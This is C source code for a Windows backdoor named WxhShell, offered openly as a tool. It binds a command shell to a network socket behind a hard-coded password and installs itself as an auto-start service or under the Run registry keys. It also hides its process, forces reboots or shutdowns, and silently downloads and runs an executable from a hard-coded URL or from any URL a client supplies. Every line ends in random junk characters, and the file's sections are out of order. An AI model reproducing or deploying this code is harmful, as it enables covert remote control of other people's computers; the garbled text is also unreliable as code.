    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p=gX !4,9<  
    if(Boot(SHUTDOWN)) S " pI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kuKa8c  
    else { -BhTkoN)  
    closesocket(wsh); `.^ |]|u  
    ExitThread(0); : ejJV 6.  
    } !>g:Si"  
    break; ,X/-  
    } +K{LQsR]  
  // 获取shell K)[8 H~Lm  
  case 's': { G/{ ~_&t  
    CmdShell(wsh); 9%!dNnUk  
    closesocket(wsh); V'StvU  
    ExitThread(0); -Mf Q&U   
    break; z"379b7cN  
  } T~k)uQ  
  // 退出 !LIlt`ag9  
  case 'x': { 9DE)S)e8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $1 @,Qor  
    CloseIt(wsh); T bf:eVIG  
    break; $j*Qo/x d  
    } Q"VMNvKYB  
  // 离开 tcL2J.  
  case 'q': { :"'nK6>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DWf$X1M  
    closesocket(wsh); 0=![fjm  
    WSACleanup(); O4Dr ]Xc]  
    exit(1); ~<r i97)  
    break; g}Q x`65:  
        } 4~|<` vqN  
  } x-_vl 9P)  
  } cm@;*  
Vb)zZ^va+  
  // 提示信息 : F9|&q-W,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bQQVj?8jp  
} '6S%9ahE  
  } jv&+<j`r  
~&g a1r2v?  
  return; urZ8j?}c  
} )2.)3w1_4  
'^}+Fv<O  
// shell模块句柄 yV]xRaRr2  
int CmdShell(SOCKET sock) R$6qoqv{yG  
{ =r6qX  
STARTUPINFO si; s<7XxQ  
ZeroMemory(&si,sizeof(si)); %Fft R1"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w*~Tm>U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [m2+9MMl  
PROCESS_INFORMATION ProcessInfo; o4Q3<T7nI  
char cmdline[]="cmd"; 3,6Ox45  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9l !S9d  
  return 0; C}"@RHEu  
} ?<~WO?  
 MCnN^  
// 自身启动模式 p^X^1X7  
int StartFromService(void) x"\qf'{D  
{ Pil;/t)"  
typedef struct DW2>&|  
{ Mv|!2 [:  
  DWORD ExitStatus; eOY^$#Y  
  DWORD PebBaseAddress; BD*G1k_q  
  DWORD AffinityMask; $>w/Cy  
  DWORD BasePriority; !j^&gRH  
  ULONG UniqueProcessId; bFGDgwe z  
  ULONG InheritedFromUniqueProcessId; Qv{,wytyO  
}   PROCESS_BASIC_INFORMATION; |wp ,f%WK  
, =y#m- 9  
PROCNTQSIP NtQueryInformationProcess; x';u CKWV  
CL9yEy"V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IeTdN_8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jw>h k  
jk7 0u[\  
  HANDLE             hProcess; S/gm.?$V  
  PROCESS_BASIC_INFORMATION pbi; g22gIj]  
Pe$6s:|NS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o"q+,"QL  
  if(NULL == hInst ) return 0; S`= WF^  
-Kxc$}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V|FrN*m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )K0i@hM(n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nWaNT-  
gH7z  
  if (!NtQueryInformationProcess) return 0; APSgnf  
b?VV'{4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H3O@9YU  
  if(!hProcess) return 0; j43$]'-  
G0d&@okbFC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?F@%S3h.  
f8n V=AQ  
  CloseHandle(hProcess); {IM! Wb  
}Dfwm)]Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aV|9H  
if(hProcess==NULL) return 0; QLo(i  
\N6\v5vh  
HMODULE hMod; 5Ec/(-F  
char procName[255]; 0(\+-<  
unsigned long cbNeeded; 97`WMs  
JUt7En;XE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M+Uyb7  
%1}6q`:w  
  CloseHandle(hProcess); "(TkJbwC[  
g8pO Lr'  
if(strstr(procName,"services")) return 1; // 以服务启动 ;JTt2qQKo  
M$S]}   
  return 0; // 注册表启动 \3zj18(@8!  
} 7y<1LQ;}  
:T@r*7hNT  
// 主模块 ejePDgi_[  
int StartWxhshell(LPSTR lpCmdLine) sC7/9</  
{ ?M}S| dsmE  
  SOCKET wsl; l-)B ivoi  
BOOL val=TRUE; Q*ju sm  
  int port=0; 9 [Y-M  
  struct sockaddr_in door; C"eXs#A  
QMp r v*i  
  if(wscfg.ws_autoins) Install(); ]r/^9XaqtA  
WeJ@x L  
port=atoi(lpCmdLine); -Zc![cAlO  
Q!'qC*Gyfn  
if(port<=0) port=wscfg.ws_port; Ew,T5GG  
fZN><3MO>  
  WSADATA data; uzU{z;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m&Yi!7@(  
jai|/"HSXw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;_"U "?h_J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +c$I&JO  
  door.sin_family = AF_INET; B$a-og(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8OFj0S1r`  
  door.sin_port = htons(port); \:_3i\2p  
4^Rd{'mt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1{PG>W  
closesocket(wsl); i*[n{=*l@  
return 1; IOl+t,0x&  
} ?dq#e9  
?=On%bh  
  if(listen(wsl,2) == INVALID_SOCKET) { 4< S'  
closesocket(wsl); _elX<o4  
return 1; x\\7G^$<h  
} >lzA]aM$c  
  Wxhshell(wsl); +RDJY(Y$  
  WSACleanup(); m5c&&v6%"b  
^twivNB  
return 0; {|<"C?  
T3,1m=S  
} K`6z&*  
:%4imgY`  
// 以NT服务方式启动 Ngy=!g?Hk=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~}ovuf=%  
{ m,MSMw1p  
DWORD   status = 0; dQ:cYNm  
  DWORD   specificError = 0xfffffff; h#.N3o  
[c&B|h=>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v}(6 <wnnS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {7"0,2 Hb?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t#wmAOW  
  serviceStatus.dwWin32ExitCode     = 0; yI;"9G  
  serviceStatus.dwServiceSpecificExitCode = 0; Oe!6){OG)  
  serviceStatus.dwCheckPoint       = 0; Y "jE'  
  serviceStatus.dwWaitHint       = 0; .zj0Jy8N  
E4%j.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^ 4>k%d  
  if (hServiceStatusHandle==0) return; X9=N%GY[  
K 1#ji*Tp  
status = GetLastError(); Tx>K:`oB  
  if (status!=NO_ERROR) EtJ8^[u2J  
{ Ao.\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 963aW*r  
    serviceStatus.dwCheckPoint       = 0; DVp5hR_$  
    serviceStatus.dwWaitHint       = 0; `C72sA{M.  
    serviceStatus.dwWin32ExitCode     = status; qRB7Ec_  
    serviceStatus.dwServiceSpecificExitCode = specificError; DtxE@,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4 gBp8*2  
    return; >)nS2b OE  
  } t;q7t!sC]  
nvq3*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JMa3btLy(  
  serviceStatus.dwCheckPoint       = 0; V%ii3  
  serviceStatus.dwWaitHint       = 0; "M H6fF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Qyh/ed/  
} yW7'?  
l|`^*%W@u6  
// 处理NT服务事件,比如:启动、停止 7=}F{U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2.I^Xf2  
{ &9[P-w;7u  
switch(fdwControl) nD6G  
{ RYR-K^;R  
case SERVICE_CONTROL_STOP: y-aRXF=W  
  serviceStatus.dwWin32ExitCode = 0; W<b-r^9?s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]ya; v '  
  serviceStatus.dwCheckPoint   = 0; S33j?+ Vs  
  serviceStatus.dwWaitHint     = 0; ,[rPe\w.z  
  { e{w>%)rcP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :QQlI  
  } Wr~yK? : ]  
  return; i775:j~zx0  
case SERVICE_CONTROL_PAUSE: @R6 ttx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;iQEkn2T|}  
  break; mLbN/M  
case SERVICE_CONTROL_CONTINUE: z!wDpG7b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M4f;/`w  
  break; U.0kR/>Z=  
case SERVICE_CONTROL_INTERROGATE: MN8H;0g-  
  break; S/A1RUt  
}; k[|~NLB8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ixfdO\nU  
} Y}G_Z#-!  
IVvtX}  
// 标准应用程序主函数 -yH,5vD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;/O#4]2*  
{ 8F5|EpB9M  
'xK.U I  
// 获取操作系统版本 ~qVz)<  
OsIsNt=GetOsVer(); 2?7(A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Tbbz'b;{  
B|=|.qp$)  
  // 从命令行安装 0"WDH)7hJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7 h=QW5  
KM,|} .@:  
  // 下载执行文件 A$/\1282  
if(wscfg.ws_downexe) { :%r S =f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rfcN/:k  
  WinExec(wscfg.ws_filenam,SW_HIDE); k-LEI}h  
} S7iDTG_@t  
/%rq hHs  
if(!OsIsNt) { \1%l^dE@  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,T{<vRj7_  
HideProc(); x34f9! 't  
StartWxhshell(lpCmdLine); VRng=,  
} -%c<IX>z9  
else 6cS>bl  
  if(StartFromService()) X* eW#|$\  
  // 以服务方式启动 w|Cx>8P8@  
  StartServiceCtrlDispatcher(DispatchTable); "?}uQ5f  
else _ Y2 U7W  
  // 普通方式启动 w!^~<{ Kz  
  StartWxhshell(lpCmdLine); MHj,<|8Q  
|pZUlQbb  
return 0; m"2d$vro"  
} O'*@ Ytn  
afEF]i  
1`bl&}6l|E  
[]kN16F  
=========================================== TbVn6V'  
?knYY>Kzh1  
-~f511<  
.3qu9eP   
E;Y;r"  
b-5y9K  
" zDOKShG  
\6I +K"  
#include <stdio.h> %b2oiKSBx?  
#include <string.h> r{?Ta iK  
#include <windows.h> ? zDa=7 J  
#include <winsock2.h> !]` #JAL7  
#include <winsvc.h> <PN"oa#  
#include <urlmon.h> +_l^ #?o,  
9nSWE W  
#pragma comment (lib, "Ws2_32.lib") wBk@F5\<  
#pragma comment (lib, "urlmon.lib") }YhtUWz].  
DPn=n9n2  
#define MAX_USER   100 // 最大客户端连接数 C#pZw[  
#define BUF_SOCK   200 // sock buffer >ezi3Zx^  
#define KEY_BUFF   255 // 输入 buffer 5II(mSg8  
Ard]147  
#define REBOOT     0   // 重启 Y]|:?G7l]  
#define SHUTDOWN   1   // 关机 [/ M^[p  
lK7m=[ j  
#define DEF_PORT   5000 // 监听端口 P$GjF-!:  
Mj=$y?d ]  
#define REG_LEN     16   // 注册表键长度 24c ek  
#define SVC_LEN     80   // NT服务名长度 Ey[On^$  
cE'L% Z  
// 从dll定义API y3u+_KY-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0U/,aHvhP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B@YyQ'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PCrU<J 7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }G<T:(a  
58xnB!h\}  
// wxhshell配置信息 %(/!ljh_  
struct WSCFG { VZn=rw  
  int ws_port;         // 监听端口 |R/.r_x,V?  
  char ws_passstr[REG_LEN]; // 口令 d)o!5L  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ck =;1sGh  
  char ws_regname[REG_LEN]; // 注册表键名 '\#EIG  
  char ws_svcname[REG_LEN]; // 服务名 ?L) !pP]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RkEN ,xWE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gR^>3n'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~ (On|h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LjFqZrH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t`'iU$:1f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4\ c,)U}  
owpWz6k7  
}; 3-n1 9[zk  
NSA F4e  
// default Wxhshell configuration 1SIq[1  
struct WSCFG wscfg={DEF_PORT, r,P1^uHx  
    "xuhuanlingzhe", LA3<=R]  
    1, )D-c]+yt  
    "Wxhshell",  _?vo U  
    "Wxhshell", <|Yj%f  
            "WxhShell Service", qZEoiNH(Tj  
    "Wrsky Windows CmdShell Service", M6r^L6$N  
    "Please Input Your Password: ", <+#o BN  
  1, kUx&pYv  
  "http://www.wrsky.com/wxhshell.exe", 3-Dt[0%{  
  "Wxhshell.exe" w2O!M!1  
    }; 98jN)Nl,oD  
:p&!RI(l  
// 消息定义模块 W=B"Q qL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U).*q?.z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; RZp cXv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <N,)G |&  
char *msg_ws_ext="\n\rExit."; DHC+C4  
char *msg_ws_end="\n\rQuit."; f;SC{2f  
char *msg_ws_boot="\n\rReboot..."; H1" q  
char *msg_ws_poff="\n\rShutdown..."; DciwQcG  
char *msg_ws_down="\n\rSave to "; _M[,! {C  
{%v-(  
char *msg_ws_err="\n\rErr!"; q@5K6yE  
char *msg_ws_ok="\n\rOK!"; :q<Z'EnW  
sd#|3  
char ExeFile[MAX_PATH]; 3ss6_xd+  
int nUser = 0; }ov&.,vQ  
HANDLE handles[MAX_USER]; Dq@2-Cv  
int OsIsNt; Z BUArIC  
{yU+)t(.  
SERVICE_STATUS       serviceStatus;  >YtdA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $2D uB  
R =Ws#'  
// 函数声明 ow=UtA-^O  
int Install(void); q}BzyC=:n  
int Uninstall(void); gnp~OVDqfL  
int DownloadFile(char *sURL, SOCKET wsh); ^[-el=oKn0  
int Boot(int flag); ;8S/6FI  
void HideProc(void); >N\0"F7.  
int GetOsVer(void); &M/0g]4p  
int Wxhshell(SOCKET wsl); !  Z`0(d  
void TalkWithClient(void *cs); l=N2lHU  
int CmdShell(SOCKET sock); raVA?|'g~  
int StartFromService(void); D0(xNhmKz  
int StartWxhshell(LPSTR lpCmdLine); FOwDp0  
(R~]|?:wt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e6B{QP#jq  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  8@{OR"Ec  
kPBV6+d~  
// 数据结构和表定义 3cS2gxF  
SERVICE_TABLE_ENTRY DispatchTable[] = {j{+0V  
{ Rd7_~.Bo  
{wscfg.ws_svcname, NTServiceMain}, d%I" /8-J  
{NULL, NULL} C9DJO:f.2y  
}; m@`8A  
, B&fFis  
// 自我安装 I\?9+3 XnQ  
int Install(void) . #Z+Z  
{ kc'pN&]r:  
  char svExeFile[MAX_PATH]; X0;4_,=  
  HKEY key; H xV#WoYKj  
  strcpy(svExeFile,ExeFile); !|q<E0@w\  
%S` v!*2  
// 如果是win9x系统,修改注册表设为自启动 YJS{i  
if(!OsIsNt) { &bz:K8c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1pv}]&X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dUgrKDNyA  
  RegCloseKey(key); *tOG*hwdT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GT hL/M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /:6Wzj  
  RegCloseKey(key); C.^Ven  
  return 0; +t4BQf  
    } CSbI85F  
  } .I VlEG0  
} 3bqC\i^[\m  
else { m+{K^kr[  
=@u 5|:  
// 如果是NT以上系统,安装为系统服务 dLsn\m>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xCzebG["  
if (schSCManager!=0) _ 7PMmW@  
{ >StO.Q99  
  SC_HANDLE schService = CreateService 5G0 $  
  ( 1CPjil*eb  
  schSCManager, rV({4cIe9R  
  wscfg.ws_svcname, f\;65k_jq  
  wscfg.ws_svcdisp, f"7M^1)h2%  
  SERVICE_ALL_ACCESS, Z34Wbun4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~A<H9Bw  
  SERVICE_AUTO_START, xR"M*%{@0  
  SERVICE_ERROR_NORMAL, =Cv/Y%DN  
  svExeFile, o]{uc,  
  NULL, PN~@  
  NULL, k *R<,  
  NULL, 4ww]9J  
  NULL, )5%C3/Dl!  
  NULL 6*l^1;U  
  ); cH<q:OYi  
  if (schService!=0) gef6pfV  
  { FVv8--  
  CloseServiceHandle(schService); 4$/i%B#ad  
  CloseServiceHandle(schSCManager); ~.PO[hC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .0u/|Yx  
  strcat(svExeFile,wscfg.ws_svcname); 2M)]!lYy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b,P]9$Ut  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~ `>e5OgOJ  
  RegCloseKey(key); /2{5;  
  return 0; .yT8NTu~0j  
    } I9o6k?$K  
  } bW#@OrsS  
  CloseServiceHandle(schSCManager); wiOgyMdx  
} |8%m.fY`  
} wn>edn  
^ yh'lh/  
return 1; N3t0-6$_  
} o }Tz"bN  
H 9 C9P17  
// 自我卸载 Y\],2[liF  
int Uninstall(void) y5= `ap  
{ d1!i(MaV!  
  HKEY key; V&soN:HS  
6m.k;'  
if(!OsIsNt) { ~,D@8tv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p3ISWJa!  
  RegDeleteValue(key,wscfg.ws_regname); %2'A pp  
  RegCloseKey(key); 5ep/h5*/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KPSh#x&I  
  RegDeleteValue(key,wscfg.ws_regname); oHM ]  
  RegCloseKey(key); *O:r7_ Y0  
  return 0; :ztr)  
  } ERUt'1F?]  
} kE.x+2  
} I O%6 O  
else { 0.r4f'vk  
#8{F9w<Rf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !>x|7   
if (schSCManager!=0) lX:|iB  
{ -Z4{;I[Q@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +u@aJ_^  
  if (schService!=0) X.ONa_  
  { 2c<&eX8"  
  if(DeleteService(schService)!=0) { $=sXAK9   
  CloseServiceHandle(schService); :J}t&t  
  CloseServiceHandle(schSCManager); z s Qo$p  
  return 0; i$^)UZJ&0  
  } [=uo1%  
  CloseServiceHandle(schService); eZ a:o1y  
  } qLncn}oNM  
  CloseServiceHandle(schSCManager); %zC[KE*~  
} S gMrce<;  
} HQ9f ,<  
@RD+xYm  
return 1; #5sD{:f`  
} bLz*A-  
kH*Pn'  
// 从指定url下载文件 *IlaM'[*  
int DownloadFile(char *sURL, SOCKET wsh) yTE%hHH]&[  
{ aYL|@R5;e  
  HRESULT hr; KDi|(  
char seps[]= "/"; u^I(Ny  
char *token; RO\gax  
char *file; R8*Q$rH<  
char myURL[MAX_PATH]; 3 <|`0pt}  
char myFILE[MAX_PATH]; /|{,sWf2  
AJt!!crs  
strcpy(myURL,sURL); @Un/c:n  
  token=strtok(myURL,seps); r#WT`pav  
  while(token!=NULL) J )BI:]m  
  { Y9SGRV(  
    file=token; j$fAq\B  
  token=strtok(NULL,seps); v/uO&iQw5  
  } ->-*]-fv[L  
`Yc _5&"  
GetCurrentDirectory(MAX_PATH,myFILE); t{!  
strcat(myFILE, "\\"); F0~k1TDw  
strcat(myFILE, file); g1(Xg.  
  send(wsh,myFILE,strlen(myFILE),0); JGiKBm;  
send(wsh,"...",3,0); +ww^ev%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ||2Q~*:  
  if(hr==S_OK) hf!|\f  
return 0; qv 3^5 d  
else G DSfT{kK\  
return 1; ,F+B Wot4  
N;F)jO xsl  
} iMF<5fLH&  
'f8(#n=6qP  
// 系统电源模块 ocwG7J\W  
int Boot(int flag) N5|Rmfo1  
{ y;" n9  
  HANDLE hToken; 7>o .0  
  TOKEN_PRIVILEGES tkp; s*M@%_A?  
9D@$i<D:  
  if(OsIsNt) { PDx)S7+w[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fLN!EDq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VeiElU3  
    tkp.PrivilegeCount = 1; &zL#hBE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; { PlK@#UN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (%ew604X  
if(flag==REBOOT) { TGT$ >/w >  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @mw "W{  
  return 0; KYJ1}5n  
} (lA.3 4.p  
else { VCNT4m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Mro4`GL  
  return 0; gLD`wfZR  
} {!ZyCi19  
  } E ?2O(  
  else { @b&84Gn2 r  
if(flag==REBOOT) { 78#!Q.##  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) : 2V^K&2L  
  return 0; !Gs} tiMH  
} 4z7G2  
else { Rz%e>)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R U"/2i  
  return 0; V|Tud  
} !KS F3sz  
} hPm>tV2X  
Ar9nBJ`  
return 1; /k\01hc`  
} *xRc * :0  
T*2C_oW  
// win9x进程隐藏模块 2H#N{>7  
void HideProc(void) YZ#V#[j'^  
{ e]+OO g&  
9>m%`DG*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4Wel[]  
  if ( hKernel != NULL ) U SOKDDm  
  { yFIy`9R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6y+b5-{'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wjU.W5IR  
    FreeLibrary(hKernel); UP1?5Q=H]Q  
  } I\P Bu$Ww  
2F_ R/{D  
return; ?v]-^X=&  
} 4 (?MUc  
E,G<_40  
// 获取操作系统版本 ;#?M)o:q  
int GetOsVer(void) ucYkxi`x  
{ IxSV?k   
  OSVERSIONINFO winfo; >X}{BDMb.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V%L/8Q~  
  GetVersionEx(&winfo); g1m-+a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @_'OyRd8  
  return 1; s PYX~G&T  
  else pck>;V  
  return 0; QezSJ io  
} @9 8;VWY\  
_"f  :`  
// 客户端句柄模块 3*S[eqMJc  
int Wxhshell(SOCKET wsl) @Z(rgF{{  
{ =iz,S:[  
  SOCKET wsh; $`Nd?\$  
  struct sockaddr_in client; '8`T|2   
  DWORD myID; S0w> hr  
M8W#io  
  while(nUser<MAX_USER) j\)H  
{ W*T{,M@Y  
  int nSize=sizeof(client);   -/{af  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <HoAj"xf  
  if(wsh==INVALID_SOCKET) return 1; q|#MB7e/  
?qHF}k|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eMMx8E)B  
if(handles[nUser]==0) pu;3nUH  
  closesocket(wsh); 9Ld9N;rWm#  
else <bmLy_":  
  nUser++; hq_~^/v\  
  } )@7DsV/M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ija: H'j  
s${_K*g6  
  return 0; 6v z1*\:H~  
} Q |hm1q  
] pPz@@xx  
// 关闭 socket +cg {[f,J;  
void CloseIt(SOCKET wsh) ~t/JCxa  
{ Hhv$4;&X  
closesocket(wsh); q^Tis>*u6  
nUser--; 8[5|_Eh+  
ExitThread(0); Lyoor1   
} QXQ  
3;/?q  
// 客户端请求句柄 ,+L KJl  
void TalkWithClient(void *cs) \2DE ==M)P  
{ }C6@c1myq-  
X-Ycz 5?  
  SOCKET wsh=(SOCKET)cs; =I4.Gf"~f  
  char pwd[SVC_LEN]; \KM|f9-b  
  char cmd[KEY_BUFF]; :$H!@n*/R  
char chr[1]; k$[{n'\@  
int i,j; 'F_}xMU  
S ~|.&0"\  
  while (nUser < MAX_USER) { Qlz Q]:dWC  
gbGTG(:1S  
if(wscfg.ws_passstr) { b~Z=:'m8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vewzo1G2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,b' 4CF  
  //ZeroMemory(pwd,KEY_BUFF); aWvd`qA9r  
      i=0; f'{>AKi=C  
  while(i<SVC_LEN) { 'h *Zc}Q:  
TlPVHJyt  
  // 设置超时 n(&*kfk  
  fd_set FdRead; * BOBH;s  
  struct timeval TimeOut; 1L[S*X  
  FD_ZERO(&FdRead); MW@DXbKVl  
  FD_SET(wsh,&FdRead); XVUf,N,  
  TimeOut.tv_sec=8; ~77 5soN  
  TimeOut.tv_usec=0; J?jeYW   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :R+],m il  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \C/z%Hf7-  
g _ M-F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a!t V6H  
  pwd=chr[0]; *T4ge|zUc  
  if(chr[0]==0xd || chr[0]==0xa) { 5u,sx664  
  pwd=0; R;THA!  
  break; YNM\pX'  
  } 8~5|KO >F  
  i++; S}gD,7@  
    } 3?ba 1F0Nw  
G[6=u|(M  
  // 如果是非法用户,关闭 socket tA qs2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); < l[` "0  
} V\zsDP  
;BTJ%F.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )73DT3-0$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lG]GlgSs  
O,9X8$5H-a  
while(1) { >eo8  
jOl1_  
  ZeroMemory(cmd,KEY_BUFF); NgxO&Zp  
I7Zq}Pxa  
      // 自动支持客户端 telnet标准   kPJ~X0Fr{t  
  j=0; ?UK:sF| (O  
  while(j<KEY_BUFF) { +"=~o5k3Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >B~?dTm  
  cmd[j]=chr[0]; ,k%8yK  
  if(chr[0]==0xa || chr[0]==0xd) { nHU3%%%cU  
  cmd[j]=0; Y n>{4BZ>#  
  break; 6D^%'[4t  
  } VRhRwdC  
  j++; 8|<f8Z65!  
    } P%!q1`Eke(  
Mcb<[~m  
  // 下载文件 \>[gl!B_Rr  
  if(strstr(cmd,"http://")) { ):E'`ZP!F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $K=z  
  if(DownloadFile(cmd,wsh)) S ljZ~x,!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mh8nlB  
  else h.LSMU (O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :eLLDp<  
  } :wCC^Y]  
